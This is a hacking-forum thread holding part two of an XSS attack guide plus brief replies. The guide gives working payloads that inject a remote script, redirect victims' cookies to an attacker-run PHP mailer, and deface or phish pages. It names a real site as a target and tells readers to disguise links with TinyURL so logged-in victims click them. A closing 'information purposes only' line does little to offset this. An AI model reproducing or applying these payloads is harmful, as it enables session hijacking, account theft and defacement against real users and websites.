Current time: 09-02-2010, 03:45 AM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
[EN] XSS Guide - 2nd Part
Author Message
Langy
Administrator
*******


Posts: 8.451
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #1
[EN] XSS Guide - 2nd Part

XSS Guide - 2nd Part

-------------------------------
Author: Langy
Data: 11-09-2007
Copyright: http://www.googlebig.com

-------------------------------

Links:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
http://www.xssed.com (Mirror Archive of Vulnerable Websites)
http://ha.ckers.org/xss.html (XSS Cheat sheet)
http://software.graflex.org/dexss/ (Removing JavaScript from HTML)

http://en.wikipedia.org/wiki/Cross-site_scripting

-------------------------------

At this time we need to know the victim cookie and then comes in a "cookie grabbers". Cookie grabber is a script that stay on our server and it include into website url to send us cookies directly by the victim :D

Howto include a javascript file:

Code:
"><script src="http://www.googlebig.com/cookiescript.js"></script>


Into cookiescript.js we will write a code that displays the cookie and sends it by email.

First of all we need to create a redirect to our site including the variable of cookies.

then:

Code:
<script>location.href="http://googlebig.com/cookie.php?cookie=</script>


Now we create cookie.php

Code:
<? mail("admin@googlebig.com","Here s the cookie stolen",$_GET['cookie']; ?>


Now upload cookie.php and cookiescript.js on our server and then go to:

Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&strRicerca
1="><script src="http://www.googlebig.com/cookiescript.js"></script>


If everything works we will receiving cookie by email.

Now we send link to victim...we can send extended link or use a redirect service like http://www.tinyurl.com

Once created redirect, in this case http://tinyurl.com/2rgry5 , we can contact user, possibly through the same site to make sure that it open the link when it's is logged on the site.

XSS THAT DOESN'T WORK

If a xss does not work and therefore do not have the chance of a redirect or not displaying cookies, it can be used as a phishing page.

An example of code is:

PHP Code:
var title "XSSED BY GOOGLEBIG.COM";var bgcolor "#000000";
var 
image_url "http://www.googlebig.com/googlebig.jpg";
var 
text "Langy was here ;)";var font_color "#FFFFFF";
deface(titlebgcolorimage_urltextfont_color); 
function 
deface(pageTitlebgColorimageUrlpageTextfontColor
{  
document.title pageTitle
 
document.body.innerHTML '';  
document.bgColor bgColor;  
var 
overLay document.createElement("div");  
overLay.style.textAlign 'center';  
document.body.appendChild(overLay);  
var 
txt document.createElement("p");  
txt.style.font 'normal normal bold 36px Verdana';  
txt.style.color fontColor;  txt.innerHTML pageText;  
overLay.appendChild(txt);   
if (
image_url != "") {    var newImg document.createElement("img");    
newImg.setAttribute("border"'0');
newImg.setAttribute("src"imageUrl);    
overLay.appendChild(newImg);  }  
var 
footer document.createElement("p");  
footer.style.font 'italic normal normal 12px Arial';  
footer.style.color '#DDDDDD';  footer.innerHTML title;  
overLay.appendChild(footer);} 


This code must be entered in this way:

Code:
http://[Sitevictim]/page.php?variable="><script src="http://www.googlebig.com/script.js"></script>


In this way we will see javascript that we created.

Even in this case we can rely on tinyurl to mask our complete url and include directly redirect.

Code:
http://[Sitevictim]/page.php?variable="><script src="http://tinyurl.com/xxxxx"></script>


Another way to bring the victim on the page that we want is this:

Code:
http://[Sitevictim]/page.php?variable="><script>
location.href="http://www.googlebig.com/fakepage.htm</script>



This guide was created for information purposes only.

If u have found a xss u must post it here http://www.xssed.com/submit and u must contact the vulnerable site's admin.


The following guide can be used freely on any site without changes including copyright.

Go to 3th part of guide


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 11-02-2008 04:39 PM by Langy.

unknown browser unknown system
Browser e O.S.: 
11-02-2008 04:21 PM
Visit this user's website Find all posts by this user Quote this message in a reply
code91
GB - Junior Member
**


Posts: 20
Group: Registered
Joined: Feb 2008
Status: Offline
Reputation: 0
Post: #2
RE: [EN] XSS Guide - 2nd Part

hei langy... questo tuts nn e' su xssing mi pare..se vuoi lo puoi linkare anke li..
infatti ci hai lasciati alla XSS GUIDE part 1.. :D

unknown browser unknown system
Browser e O.S.: 
19-05-2008 10:41 PM
Visit this user's website Find all posts by this user Quote this message in a reply
Langy
Administrator
*******


Posts: 8.451
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #3
RE: [EN] XSS Guide - 2nd Part

fatto :D


"There is no patch for human stupidity" - K. D. M.
unknown browser unknown system
Browser e O.S.: 
20-05-2008 10:15 AM
Visit this user's website Find all posts by this user Quote this message in a reply
code91
GB - Junior Member
**


Posts: 20
Group: Registered
Joined: Feb 2008
Status: Offline
Reputation: 0
Post: #4
RE: [EN] XSS Guide - 2nd Part

ok ;)

unknown browser unknown system
Browser e O.S.: 
20-05-2008 04:19 PM
Visit this user's website Find all posts by this user Quote this message in a reply
s3cutiry_h4ck3r
GB - Newbie
*


Posts: 2
Group: Registered
Joined: Nov 2009
Status: Offline
Reputation: 0
Post: #5
RE: [EN] XSS Guide - 2nd Part

can i include a php file instead of js?

like

http://[Sitevictim]/page.php?variable="><script>
location.href="http://www.googlebig.com/myscript.php</script>

instead of

http://[Sitevictim]/page.php?variable="><script>
location.href="http://www.googlebig.com/fakepage.htm</script>

Opera Winows Vista
Browser e O.S.: 
14-11-2009 05:22 AM
Find all posts by this user Quote this message in a reply
Langy
Administrator
*******


Posts: 8.451
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #6
RE: [EN] XSS Guide - 2nd Part

no, becouse xss are client side, not server side.


"There is no patch for human stupidity" - K. D. M.
Firefox MacOS
Browser e O.S.: 
14-11-2009 11:05 AM
Visit this user's website Find all posts by this user Quote this message in a reply
s3cutiry_h4ck3r
GB - Newbie
*


Posts: 2
Group: Registered
Joined: Nov 2009
Status: Offline
Reputation: 0
Post: #7
RE: [EN] XSS Guide - 2nd Part

So would you please tell me how i can include a PHP file in server. How to find this vulnerability and How to do that?

Firefox Winows Vista
Browser e O.S.: 
19-11-2009 11:44 AM
Find all posts by this user Quote this message in a reply
Post Reply  Post Thread 

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [EN] XSS Guide - How To fix a XSS vulnerability Langy 3 5.145 13-08-2009 05:54 PM
Last Post: Thibow
  Cross Site Scripting - Attack and Defense guide xylitol 4 4.605 25-04-2009 04:25 PM
Last Post: uncle-lany
  [EN] XSS Guide - 1st Part Langy 0 7.644 31-01-2008 07:12 PM
Last Post: Langy

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites